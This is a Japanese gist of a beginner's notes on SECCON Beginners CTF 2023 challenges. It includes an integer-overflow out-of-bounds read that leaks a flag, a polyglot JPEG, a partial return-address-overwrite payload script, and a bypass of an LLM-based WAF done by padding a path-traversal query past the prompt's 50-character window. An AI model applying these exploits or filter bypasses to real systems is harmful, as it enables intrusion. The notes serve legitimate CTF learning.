Skip to content

Instantly share code, notes, and snippets.

@hassaku63
Last active June 4, 2023 05:29
Show Gist options
  • Save hassaku63/851f7ab648688e992a57e5ea50400afa to your computer and use it in GitHub Desktop.
Save hassaku63/851f7ab648688e992a57e5ea50400afa to your computer and use it in GitHub Desktop.
SECCON Beginners CTF 2023

URL: https://score.beginners.seccon.jp/

今回 CTF 初挑戦だったので、やってたこと、考えてたことなどを雑にメモっていく場所。

マジで何もわかっていないで書いてるので、(これを見てしまった人向けに)正解にたどり着きたい人、参考情報を得たい人が見るような「資料」じゃないことを予め断っておく。

自分が何考えてたのかをある程度 dump したものであって、バックグラウンドを理解して書いてるものではない。

競技日程

2023/06/03(土) 14:00 JST - 2023/06/04(日) 14:00 JST

競技形式

Jeopardy形式

ルール

  1. 得点はチーム毎に集計します。集計にはダイナミックスコアリング方式(多くのチームが解いた問題ほど点数が低くなるような方式)を用います。
  2. 原則競技中には問題の追加を行いません。問題の設定ミスなどが発覚した場合には、例外的に修正版の問題が公開される場合があります。
  3. フラグのフォーマットは ctf4b{[\x20-\x7e]+} です。これと異なる形式を取る問題に関しては、別途問題文等でその旨を明示します。
  4. 誤った解答を短時間の内に何度も送信した場合は、当該チームからの回答を一定時間受け付けない状態(ロック状態)になる場合があります。またこの状態でさらに不正解を送信し続けた場合はロックされる時間がさらに延長される可能性があります。

禁止事項

  1. 他チームへの妨害行為
  2. 他チームの回答などをのぞき見する行為
  3. 他者への攻撃的な発言 (暴言 / 誹謗中傷 / 侮辱 / 脅迫 / ハラスメント行為など)
  4. 自チームのチーム登録者以外に問題・ヒント・解答を教えること
  5. 自チームのチーム登録者以外からヒント・解答を得ること(ただし運営者が全員に与えるものを除く)
  6. 設問によって攻撃が許可されているサーバ、ネットワーク以外への攻撃
  7. 競技ネットワーク・サーバなどの負荷を過度に高める行為(リモートから総当たりをしないと解けない問題はありません!)
  8. その他、運営を阻害する行為

不正行為が発見された場合、運営側の裁量によって減点・失格などのペナルティがチームに対して課せられます。大会後に発覚した場合も同様とします。

特記事項

  1. 出題内容や開催中のアナウンスは原則日本語としますが、問題中で英語が用いられる場合があります。
  2. チーム人数に制限はありません。お一人でも、数十人でも、お好きな人数でチームを作成していただいて構いません。
  3. 本大会では上位チームへの賞金・賞状の授与等は行いません。
  4. SECCON CTF への出場権とは一切の関係がありませんので、ご注意ください。
@hassaku63
Copy link
Author

CoughingFox2

元の数列が x で暗号化された数列が y とすると、

y[i] から 0 - (len(y) + 1) までの数字を引いた場合になにかしら整数値の2乗になっていることがわかる

すべての y[i] についてそれをしらみつぶしに探索すると、すべての y[i] は整数値で平方根が取れるパターンがただ1つだけ存在することがわかった。

よって、平方根が計算できた際の i の値を添え字として並べ替えすることで y'[i] = x[i] + x[i+1] の状態までは系列を復元できる。

問題の条件より x[0] は c と決まっている。これは、フラグは ctf4b で始まる文字列であるため。

x[0] と y が所与であればすべての x[i] は計算可能。

x[i] = y[i+1] - x[i+1]

この結果得られた x を文字に変換すればよい。

# x = [ ... ]

result = map(chr, x)

print(''.join(result))

@hassaku63
Copy link
Author

poem

コードが対した量じゃないので、ひとまず ChatGPT にコードを読ませて実装内容を解説させてみる


以下はCTF pwnable 問題のコードです。
このコードの実装内容を解説してください

(以下コードスニペット)

このC言語のコードは、ユーザに数字を入力させて該当する詩を表示するプログラムですが、その実装には脆弱性が含まれています。

まずは、大まかなプログラムの動作について解説します。

プログラムが起動すると、初めに__attribute__((constructor))アノテーションが付いたinit関数が呼び出されます。この関数では標準入力(stdin)と標準出力(stdout)のバッファリングを無効にし、また60秒後にプログラムを強制終了するalarm関数を設定します。

次に、main関数が実行されます。ユーザに数字を入力させ、その数字に対応した詩を表示します。数字は0から4の範囲内であることが期待されています。

このプログラムの脆弱性は、配列poemへのアクセスにあります。scanf関数でユーザから入力を受け取り、その値を直接配列poemのインデックスとして使用しています。しかし、この値の範囲をチェックする際に、負の値や大きすぎる値に対するチェックが行われていません。したがって、ユーザは5以上の数値や負の数値を入力することで配列の範囲外にアクセスでき、これにより意図しないメモリ領域の内容を読み出すことが可能になります。

CTF(Capture The Flag)のpwnable問題では、このような脆弱性を突くことでフラグと呼ばれる秘密の文字列を読み出すことが目指されます。このコードの場合、"ctf4b{CENSORED}"というフラグを格納している変数flagをユーザが適切な入力を通じて読み出すことが問題の目的となるでしょう。

バッファオーバーフローだろうなというのはなんとなく察しがつくので、先に知らない文法を聞いてみた。

アノテーションとはどういったものですか?
今回のコードで実装されている内容だとどのような意味になりますか?

アノテーションとは、プログラムのコードにメタデータを追加するための手段の一つで、その言語のコンパイラやインタプリタに特定の振る舞いをさせるために使われます。アノテーションは一般的にはプログラムの動作そのものを変更しませんが、コンパイル時や実行時の振る舞いに影響を与えることがあります。

今回のC言語のコードにおいて__attribute__((constructor))というアノテーションが使われています。このアノテーションは、GNU C Compiler (GCC) の機能で、その関数をプログラムのメイン関数が実行される前に実行させるという意味を持ちます。

具体的には、init関数に__attribute__((constructor))アノテーションがつけられているため、この関数はプログラムが開始するとすぐに呼び出されます。この関数では標準入力と標準出力のバッファリングが無効化され、また60秒後にプログラムが終了するように設定されています。このように、attribute((constructor))アノテーションはプログラムの初期設定を行うために利用することができます。

このアノテーションはGCC特有のものであり、他のC言語のコンパイラでは利用できない可能性がある点に注意が必要です。

@hassaku63
Copy link
Author

setvbuf について。

https://www.ibm.com/docs/ja/i/7.3?topic=functions-setvbuf-control-buffering

書かれている内容・現実装と AI の回答に齟齬はなさそう。

alarm も SIGALARM を呼び出す仕様とあり、AI の回答とあってそう。

https://linuxjm.osdn.jp/html/LDP_man-pages/man2/alarm.2.html

@hassaku63
Copy link
Author

たぶん、scanf した直後のバリデーション通ってから人為的に n を書き換えてあげたら flag を見にいけるんじゃないか?と思った

負の数をチェックしてないのでそこを突けそう。

radare2 でシンボル確認してみる。EC2 にソースだけ転送してコンパイルし直してるので、微妙に結果が変わるかも?

66  ---------- 0x00004068 GLOBAL NOTYPE 0        __bss_start
67  0x000011e9 0x000011e9 GLOBAL FUNC   135      main
69  0x00003040 0x00004040 GLOBAL OBJ    40       poem
71  ---------- 0x00004068 GLOBAL OBJ    0        __TMC_END__
73  0x00003020 0x00004020 GLOBAL OBJ    8        flag

長さ5の配列で、ポインタは 8byte っぽい。で、n が 5 で通るように仕向けられれば良さそう?という感じに見える。

@hassaku63
Copy link
Author

printf("size: %lu\n", sizeof(int));
// size: 4

手元の Mac では入力は4byte ということになる。

試しに 4byte ではオーバーフローして 0 になる数値を入れてみる。

In [23]: 2 ** 32
Out[23]: 4294967296
nc poem.beginners.seccon.games 9000
Number[0-4]: 4294967296
// In the depths of silence, the universe speaks.

ということで 0 を入力した場合と同じように反応する。

ここから 4byte 戻せばおそらく flag (ポインタ型なのでこれも 4byte であろうと予想) を見に行くであろうと仮説を立ててみる。

4294967296 - 4 = 4294967292 を渡す。

nc poem.beginners.seccon.games 9000
Number[0-4]: 4294967292
// ctf4b{xxxxxxxxxx}

ということで回答らしきものが出てきた。

@hassaku63
Copy link
Author

YARO

CTF っぽい依存関係があるっぽい

https://pypi.org/project/yara-python/
https://pypi.org/project/pwntools/

timeout-decorator はだいたい想像つくのでOK

yara-python は yara というツールを python から使えるようにしたものっぽい。

ChatGPT に聞いてみた

yara というツールについて、教えてください

YARAは、特定のマルウェアを識別し、分類するためのルールベースのツールです。YARAは、パターンマッチングエンジンとして広く使われ、それを用いてマルウェアサンプルの特徴や動作パターンを定義することが可能です。

YARAのルールは、テキストベースで、複数のセクション(メタデータ、ルール本体、文字列定義)を持つことが一般的です。これにより、高度にカスタマイズ可能なマルウェア検出を可能にしています。

これらのルールは、対象のバイナリファイルやスクリプト中に存在する特定の文字列パターン、バイトシーケンス、あるいはその他の特性に対してマッチングを行います。マッチしたルールはマルウェアの特性やタイプを示すもので、これを用いて詳細な分析や対策を行うことができます。

YARAは情報セキュリティコミュニティで広く利用されており、サイバーセキュリティの専門家たちは、新たな脅威を特定し、分析し、追跡するためにYARAルールを作成および共有します。

@hassaku63
Copy link
Author

hassaku63 commented Jun 3, 2023

適当にルール書いてみたけどなんか違うらしい

rule ctf_string {
    strings:
        $ctf_flag /ctf4b{[0x21-0x7e\s]+}/
    condition:
        $ctf_flag
}

@hassaku63
Copy link
Author

こういう Rule にしたら引っかかった

rule ctf_string {
    strings:
        $ctf_flag = /ctf4b/
    condition:
        $ctf_flag
}
OK. Now I find the malware from this rule:
rule ctf_string {
    strings:
        $ctf_flag = /ctf4b/
    condition:
        $ctf_flag
}
Not found: ./redir.sh
Not found: ./server.py
Found: ./flag.txt, matched: [ctf_string]
Not found: ./requestments.txt

たぶん、flag.txt の中が見れればいいんじゃないかという気がする

@hassaku63
Copy link
Author

hassaku63 commented Jun 3, 2023

ChatGPT さんに直してもらった。

以下のルールは、正しい記述ですか?

rule ctf_string {
    strings:
        $ctf_flag = /ctf4b{[0x21-0x7e\s]+}/
    condition:
        $ctf_flag
}

回答:

このルール自体は構文的には正しく、特定の正規表現パターンを探すYARAルールとして機能します。しかしながら、正規表現に小さな問題があります。

ここで指定されている正規表現 /ctf4b{[0x21-0x7e\s]+}/ は、ctf4b{} の中に ASCII コードの範囲 0x21("!")から 0x7E("~")またはスペース文字(\s)が1回以上繰り返される文字列を探します。これは、ASCIIの印字可能な文字(スペース含む)をマッチすることを意図していると思われます。

しかしながら、正規表現での文字クラス([] 内の範囲)においては、16進数表記(0x21 や 0x7e)は使えません。印字可能な ASCII 文字の範囲は [\x20-\x7E] のように表現されます。したがって、このルールを意図通りに動作させるためには、正規表現を次のように修正すべきです:

rule ctf_string {
    strings:
        $ctf_flag = /ctf4b{[\x20-\x7e]+}/
    condition:
        $ctf_flag
}

この修正後のルールは、印字可能なASCII文字(スペース含む)が1つ以上続く ctf4b{} 形式の文字列を検出します。

これで引っかかりはする模様

$ nc yaro.beginners.seccon.games 5003

rule:
rule ctf_string {
    strings:
        $ctf_flag = /ctf4b{[\x20-\x7e]+}/
    condition:
        $ctf_flag
}

OK. Now I find the malware from this rule:
rule ctf_string {
    strings:
        $ctf_flag = /ctf4b{[\x20-\x7e]+}/
    condition:
        $ctf_flag
}
Not found: ./redir.sh
Not found: ./server.py
Found: ./flag.txt, matched: [ctf_string]
Not found: ./requestments.txt

@hassaku63
Copy link
Author

YARO は一旦諦めた。

たぶん flag.txt の中身を取り出せればいいんだろうと思うのだが、

サーバーサイドを変更しないでそれを実現できる方法がわからない

@hassaku63
Copy link
Author

polyglot4b

コードを見てみると、入力されたデータが file コマンドで判定したときに JPG, PNG, GIF, TXT の全てにマッチするようなコンテンツになれば良い、という風に読める

ChatGPT さんに聞いてみた

file コマンドの結果が、以下の4つの文字列を同時に含むようなファイルは作成可能ですか?

JPG
PNG
GIF
TXT

file コマンドは、ファイルの内容を分析してその種類を推測します。それぞれのファイルタイプ(JPG、PNG、GIF、TXT)は特定の形式と構造を持ち、それぞれが異なるバイナリシグネチャ(ファイルヘッダ)を持ちます。

したがって、異なるファイルタイプを一つのファイルに混在させることは通常は不可能で、file コマンドが一つのファイルに対して「JPG」「PNG」「GIF」「TXT」の全てを同時に返すことは無いと思われます。このコマンドはファイルの先頭部分を読み取ることでそのファイルタイプを決定します。

しかしながら、特殊なシナリオとしては、特定のファイルフォーマットが他の複数のファイルタイプを内包するような形で設計されている場合があります。例えば、一部のアーカイブファイルやコンテナフォーマットは複数のファイルタイプを一つのファイル内に保持することが可能です。それでも、file コマンドがこれらを正しく解釈し、一つのファイルに対して複数のファイルタイプを示すような挙動はしないはずです。

要約すると、file コマンドが「JPG」「PNG」「GIF」「TXT」を同時に返すような一つのファイルを作成することは不可能と言ってよいでしょう。

@hassaku63
Copy link
Author

file コマンドでサンプルファイル見てみた。

$ file -bkr sample/sushi.jpg               
JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=4, description=CTF4B], baseline, precision 8, 1404x790, components 3 - data

description が自由記述できそうなので、ここに介入できればいいんじゃない?という発想になった。

@hassaku63
Copy link
Author

ChatGPT に聞いた。

jpeg ファイルの description を参照でき、かつ書き換えできる方法を教えてください。
コマンドラインツールか、Python を使ってください。

Pillow の実装を紹介してくれたが、dict で取得した Exif 情報を変更して書き込もうとすると dict は対応してないというエラーが出た。
エンコードするのも面倒なので CLI ベースの手法にする。

@hassaku63
Copy link
Author

exiftool で description を取得してみる。

$ exiftool -s -s -s -description sample/sushi.jpg      
CTF4B
$ cp sample/sushi.jpg out.jpg

$ exiftool -description="JPEG PNG GIF TXT" out.jpg
    1 image files updated

$ file -bkr out.jpg 
JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=4, description=CTF4B], baseline, precision 8, 1404x790, components 3
- data

@hassaku63
Copy link
Author

以下のコマンドでいい感じになった。

$ exiftool -ImageDescription="JPEG PNG GIF ASCII" out2.jpg
    1 image files updated

$ file -bkr out2.jpg
JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=4, description=JPEG PNG GIF ASCII], baseline, precision 8, 1404x790, components 3
- data
$ cat out2.jpg| nc polyglot4b.beginners.seccon.games 31416

@hassaku63
Copy link
Author

aiwaf

プロンプトハックかと思ったら、そうでもなかった。

プロンプトを構成しているのが以下のテキスト。

prompt = f"""\
以下の{puuid}に囲まれた部分のURLクエリはパストラバーサル攻撃でしょうか?
そうである場合Yesを、違う場合Noを返してください。
../やflagという文字列が含まれていた場合もYesを返してください。

{puuid}
{urllib.parse.unquote(request.query_string)[:50]}
{puuid}
"""

なので、50文字以降にトラバーサルのクエリが来ればOK。

例えばこんな感じ。

https://aiwaf.beginners.seccon.games/?text=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&file=../flag

@hassaku63
Copy link
Author

hassaku63 commented Jun 3, 2023

rewriter2

コードを見た感じ、32byte の入力を2回行うことで、
あるいは2回行った後の __show_stack() でバッファオーバーフローが発生するようにしてくれ、という問題らしい

方法については ChatGPT に聞いてみた。

CTFのpwnable問題を解いています。
C言語で書かれたプログラムが手元にあります。


バッファオーバーフローを利用して、main 関数から直接呼び出されていない関数を呼び出すにはどういった方法がありますか?

呼び出したい関数のシグネチャは以下とします。
void win();

CTF (Capture The Flag) の pwnable 問題では、様々なバイナリエクスプロイト手法を使って、通常は呼び出されない関数を呼び出す、あるいは任意のコードを実行することが求められます。

あなたが述べたように、特定の関数(この場合 void win();)を呼び出すための一般的な手法はバッファオーバーフローを使うことです。

バッファオーバーフローを利用してプログラムのフローを制御する手法としては、主に次の2つがあります。

  1. スタックバッファオーバーフロー (Stack Buffer Overflow):
    この手法では、スタック上のバッファに対するオーバーフローを利用します。具体的には、スタック上のリターンアドレスをオーバーライドすることで、関数がリターンする際のジャンプ先を任意の関数(この場合 win)に変更します。

  2. ヒープバッファオーバーフロー (Heap Buffer Overflow):
    ヒープ上のバッファに対するオーバーフローを利用する手法です。関数ポインタや任意のデータ構造をオーバーライドすることでプログラムのフローを制御します。

これらの手法を利用するには、まずそのプログラムにバッファオーバーフローが可能な箇所があるかどうか、例えば gets などの安全でない関数が使われているかなどを確認します。

もしバッファオーバーフローが可能であれば、次にどのようにオーバーフローを起こすか、どのアドレスにジャンプすれば win 関数を呼び出せるかなどを調査します。

これらの調査は、プログラムのソースコードの解析だけでなく、デバッガや逆アセンブラを使ったバイナリの解析も含みます。

なお、これらの手法は現実のシステムで用いると違法行為となりますので、許可された環境でのみ利用してください。

また、実際のシステムでは、ASLR (Address Space Layout Randomization) や スタックカナリ (Stack Canary) などの保護メカニズムが使われることがあります。これらのメカニズムを回避するための追加的な手法を用いる必要がある場合もあります。

ASLR や Stack Canary について、補足して教えてください

もちろんです。それぞれの概念について説明します。

ASLR (Address Space Layout Randomization): ASLRはメモリエクスプロイトを難しくするためのセキュリティ技術です。具体的には、プログラムがロードされるときにそのアドレス空間がランダム化されます。つまり、各実行ごとにスタック、ヒープ、ライブラリ、そして実行可能コード等の位置が変わります。その結果、攻撃者は予めメモリアドレスを知ることができず、エクスプロイトの作成が難しくなります。このASLRを回避する方法の一つとしては、リーク攻撃(Leak Attack)があります。これは、何らかの方法でメモリアドレスを漏らすことでASLRの効果を無効化します。

Stack Canary: スタックカナリはスタックバッファオーバーフロー攻撃を防ぐためのセキュリティメカニズムです。この技術では、関数呼び出しの際に予め定められたランダムな値(カナリ値)をスタックフレームに保存します。関数がリターンする前に、このカナリ値が変更されていないか確認します。もしカナリ値が変更されていた場合、それはバッファオーバーフロー攻撃が行われたことを示しており、その場合プログラムは中断されます。スタックカナリを回避するためには、カナリの値を変更せずにエクスプロイトを行うか、あるいは何らかの方法でカナリの値を予め知る必要があります。

これらのセキュリティメカニズムは現代のシステムでは広く採用されており、エクスプロイトを作成する際にはこれらのメカニズムをどのように回避するかも考慮する必要があります。

@hassaku63
Copy link
Author

__show_stack() の実装を見る限り、Stack canary は隠されているように見える。これは後から考える。

ひとまず、関数呼び出しでスタックが積まれる場合のメモリレイアウトを理解することろから。

(ChatGPT)
関数呼び出し時における引数や戻り先のアドレスはどのようなメモリレイアウトになりますか?

関数呼び出し時の引数や戻り先のアドレスのメモリレイアウトは、プラットフォームやアーキテクチャによって異なりますが、一般的なC言語の呼び出し規約に基づいて説明します。

C言語の一般的な呼び出し規約では、以下のようなメモリレイアウトが一般的です(x86アーキテクチャを例に説明します):

  1. スタック領域(Stack Area):
  • スタック領域は関数呼び出しによって使用されるローカル変数や一時的なデータを格納するための領域です。
  • 引数は通常、スタック領域にプッシュされます。引数の順序やプッシュの方法は呼び出し規約によって異なりますが、通常は右から左の順にスタックにプッシュされます。
  • スタック領域にはスタックフレームと呼ばれるデータ構造が存在し、スタックフレームには引数、ローカル変数、一時的なデータ、戻り先のアドレスなどが格納されます。
  1. プログラムカウンタ(Program Counter):
  • プログラムカウンタは、実行中の命令のアドレスを指すレジスタです。
  • 関数呼び出し時には、現在の関数の戻り先のアドレスがプログラムカウンタに保存されます。これにより、関数が終了した後に制御が戻る場所がわかります。
  1. ベースポインタ(Base Pointer):
  • ベースポインタは、スタックフレーム内のローカル変数や引数へのアクセスを容易にするためのレジスタです。
  • ベースポインタは、スタックフレーム内のデータへの相対的なオフセットを計算するために使用されます。

上記のメモリレイアウトは一般的なものであり、特定のプラットフォームやアーキテクチャによって細かな違いがあるかもしれません。特に、異なる呼び出し規約やアーキテクチャが使用される場合は、メモリレイアウトが異なる可能性があります。したがって、特定のプラットフォームやアーキテクチャの呼び出し規約やメモリレイアウトについては、そのドキュメントや仕様を参照することをおすすめします。

@hassaku63
Copy link
Author

hassaku63 commented Jun 4, 2023

Stack buffer を用いるとして話を進める。

まずは仕組みを知らないとどうしようもないので、「戻り先のアドレス」をどこで指定するのか調べる。

__show_stack() を見つつなんとなく想像してみる

[Addr]             | [Value]            
====================+===================
 0x00007fffffffe220 | 0x00007ffff7fbf2e8  <- buf
 0x00007fffffffe228 | 0x0000555555555500 
 0x00007fffffffe230 | 0x0000000000000000 
 0x00007fffffffe238 | 0x0000555555555120 
 0x00007fffffffe240 | 0x00007fffffffe340 
 0x00007fffffffe248 | xxxxx hidden xxxxx  <- canary
 0x00007fffffffe250 | 0x0000000000000000  <- saved rbp
 0x00007fffffffe258 | 0x00007ffff7df2083  <- saved ret addr
 0x00007fffffffe260 | 0x00007ffff7ffc620 
 0x00007fffffffe268 | 0x00007fffffffe348 

自分のイメージはこれ。

出典: https://courses.engr.illinois.edu/cs225/fa2022/resources/stack-heap/

今回介入できるのはローカル変数なのでスタック領域の話、と想像している。

レジスタの説明を見てみる: https://www.mztn.org/lxasm64/amd04.html
さっきの課題で使った radare2 の出力なども見てみると、おそらく主要レジスタはこんな感じ?

  • RAX, RBX, RCX, RDX ... 汎用
  • RSI, RDI ... アドレス系入ってることが多い?
  • RBP ... 多分、引数をスタックに積む時のアドレス...?
  • RSP ... 戻り先っぽい

RAX は関数呼び出しの戻り値になっていそう。
RCX, RDX は第1, 第2引数に使われていそう

main で宣言されてるローカル変数がこれ

┌ 204: int main (int argc, char **argv, char **envp);
│           ; var int64_t var_8h @ rbp-0x8
│           ; var int64_t var_30h @ rbp-0x30

コードを見比べると、これは char buf[BUF_SIZE]; に対応しているはず。

__show_stakc() 付近の操作がこれ。

│           0x0040125c      488d45d0       lea rax, [var_30h]
│           0x00401260      4889c7         mov rdi, rax
│           0x00401263      e87d000000     call sym.__show_stack

__show_stack() には buf のポインタを渡していることから、main の var_30h が buf であるとわかる。

やってることは

  1. buf のアドレスを rax にコピー
  2. rax を rdi にコピー
  3. __show_stack 呼び出し

rdi が第一引数ということになりそう。戻り値が rax なのはなんとなく他の実験から見えているので、そこは合っているていで読み進める。

次に __show_stack()

[0x004012e5]> pdf
            ; CALL XREFS from main @ 0x401218(x), 0x401263(x), 0x4012a2(x)
┌ 411: sym.__show_stack (int64_t arg1);
│           ; arg int64_t arg1 @ rdi
│           ; var int64_t var_8h @ rbp-0x8
│           ; var int64_t var_ch @ rbp-0xc
│           ; var int64_t var_18h @ rbp-0x18
│           0x004012e5      f30f1efa       endbr64
│           0x004012e9      55             push rbp
│           0x004012ea      4889e5         mov rbp, rsp
│           0x004012ed      4883ec20       sub rsp, 0x20
│           0x004012f1      48897de8       mov qword [*ptr], rdi    ; arg1

ローカル変数は宣言順の逆順に並ぶので、最初に宣言されてる unsigned long *ptr = stack;var int64_t var_18h @ rbp-0x18 に対応 してるらしいとわかる

@hassaku63
Copy link
Author

hassaku63 commented Jun 4, 2023

ローカル変数とか引数が Stack に積まれるのはイメージついた。

他に何が積まれているのかは __show_stack() の内容がいったん全部出してくれてるものとして見ていく

資料になりそうなスライドがあるのでこちらも見比べる。

https://www.slideshare.net/codeblue_jp/master-canary-forging-by-code-blue-2015#9

[Addr]             | [Value]            
====================+===================
 0x00007fffffffe220 | 0x00007ffff7fbf2e8  <- buf
 0x00007fffffffe228 | 0x0000555555555500 
 0x00007fffffffe230 | 0x0000000000000000 
 0x00007fffffffe238 | 0x0000555555555120 
 0x00007fffffffe240 | 0x00007fffffffe340 
 0x00007fffffffe248 | xxxxx hidden xxxxx  <- canary
 0x00007fffffffe250 | 0x0000000000000000  <- saved rbp
 0x00007fffffffe258 | 0x00007ffff7df2083  <- saved ret addr
 0x00007fffffffe260 | 0x00007ffff7ffc620 
 0x00007fffffffe268 | 0x00007fffffffe348 
  • "canary" は stack canary
  • "saved rdp" は framepointer
  • "saved ret addr" がリターンアドレス

という解釈になりそう。これを canary を変更しないで(?) "ret addr" だけ win() のアドレスになるよう上書きしたい、というのがこの問題のやりたいことに見える。

main では 1 byte x 32 要素の buf に対して最大 256 byte まで入力を許しているので、十分に ret addr を書き換えるだけの入力を受け付けられるように見える。

@hassaku63
Copy link
Author

リターンアドレスの書き換えには、

  • buf = 32 byte
  • (?) = 8 byte
  • canary = 8 byte
  • saved rbp = 8 byte
  • saved ret addr = 8 byte

が必要。

56 byte を適当に埋めて、次の 8 byte にリターンアドレスを上書きする必要がある

win() のシンボルはこうなる。

nth paddr      vaddr      bind   type   size lib name                                   demangled
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
64  0x000012c2 0x004012c2 GLOBAL FUNC   35       win  ; 元のバイナリ
67  0x000012eb 0x000012eb GLOBAL FUNC   35       win  ; ubuntu 上で再コンパイルした場合

元のバイナリのアドレス = 0x004012c2 を決め打ちで行ってみる

 [Addr]             | [Value]            
====================+===================
 0x00007fffc6475a70 | 0x00007fb47812c2e8  <- buf
 0x00007fffc6475a78 | 0x00000000004014e0 
 0x00007fffc6475a80 | 0x0000000000000000 
 0x00007fffc6475a88 | 0x0000000000401110 
 0x00007fffc6475a90 | 0x00007fffc6475b90 
 0x00007fffc6475a98 | xxxxx hidden xxxxx  <- canary
 0x00007fffc6475aa0 | 0x0000000000000000  <- saved rbp
 0x00007fffc6475aa8 | 0x00007fb477f5f083  <- saved ret addr
 0x00007fffc6475ab0 | 0x00007fb478165620 
 0x00007fffc6475ab8 | 0x00007fffc6475b98 

What's your name? 1234
Hello, 1234

 [Addr]             | [Value]            
====================+===================
 0x00007fffc6475a70 | 0x00007f0a34333231  <- buf
 0x00007fffc6475a78 | 0x00000000004014e0 
 0x00007fffc6475a80 | 0x0000000000000000 
 0x00007fffc6475a88 | 0x0000000000401110 
 0x00007fffc6475a90 | 0x00007fffc6475b90 
 0x00007fffc6475a98 | xxxxx hidden xxxxx  <- canary
 0x00007fffc6475aa0 | 0x0000000000000000  <- saved rbp
 0x00007fffc6475aa8 | 0x00007fb477f5f083  <- saved ret addr
 0x00007fffc6475ab0 | 0x00007fb478165620 
 0x00007fffc6475ab8 | 0x00007fffc6475b98 

と、リトルエンディアン(であってる?)で入っていく様子が見える

56 byte を適当に埋めて、次の 8 byte にリターンアドレスを上書きする必要がある

0x000012c2 を埋めるためには

[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0xc2] これを逆順して並べると良さそう?

@hassaku63
Copy link
Author

hassaku63 commented Jun 4, 2023

雑にバイナリ生成書いてみた。

# gen.py
base = [0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37]

data = []

# buf
data.append(base)
data.append(base)
data.append(base)
data.append(base)
# ?
data.append(base)
# canary
data.append(base)
# frame pointer
#data.append(base)
# saved rbp
# data.append(base)
data.append([0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])


addr = [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0xc2]
addr.reverse()

data.append(addr)

with open('data', 'wb') as fp:
    for item in data:
        fp.write(bytes(item))

__show_stack() の出力見ながら適当にコメント入れたりしてるので↑のコードはまあ当てずっぽう

python gen.py
$ cat data | nc rewriter2.beginners.seccon.games 9001

 [Addr]             | [Value]            
====================+===================
 0x00007fffaf6ed2e0 | 0x00007fb81acfd2e8  <- buf
 0x00007fffaf6ed2e8 | 0x00000000004014e0 
 0x00007fffaf6ed2f0 | 0x0000000000000000 
 0x00007fffaf6ed2f8 | 0x0000000000401110 
 0x00007fffaf6ed300 | 0x00007fffaf6ed400 
 0x00007fffaf6ed308 | xxxxx hidden xxxxx  <- canary
 0x00007fffaf6ed310 | 0x0000000000000000  <- saved rbp
 0x00007fffaf6ed318 | 0x00007fb81ab30083  <- saved ret addr
 0x00007fffaf6ed320 | 0x00007fb81ad2f620 
 0x00007fffaf6ed328 | 0x00007fffaf6ed408 

What's your name? Hello, 012345670123456701234567012345670123456701234567

 [Addr]             | [Value]            
====================+===================
 0x00007fffaf6ed2e0 | 0x3736353433323130  <- buf
 0x00007fffaf6ed2e8 | 0x3736353433323130 
 0x00007fffaf6ed2f0 | 0x3736353433323130 
 0x00007fffaf6ed2f8 | 0x3736353433323130 
 0x00007fffaf6ed300 | 0x3736353433323130 
 0x00007fffaf6ed308 | xxxxx hidden xxxxx  <- canary
 0x00007fffaf6ed310 | 0x0000000000000000  <- saved rbp
 0x00007fffaf6ed318 | 0x00000000000012c2  <- saved ret addr
 0x00007fffaf6ed320 | 0x00007fb81ad2f620 
 0x00007fffaf6ed328 | 0x00007fffaf6ed408 

How old are you? 

"How old are you? " は適当に入力してみた。が、制御が戻ってこない

@hassaku63
Copy link
Author

↑制御が戻ってこないということは

0x00000000000012c2 という指定の仕方が自分の意図と反しているか、
あるいは canary の書き換えが検知されたか、だと思っている

ただ、canary について調べてみた感じではそのまま終了するっぽいようにも見えるのでたぶん前者なんじゃかなろうかと思っている(よくわかっていない)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment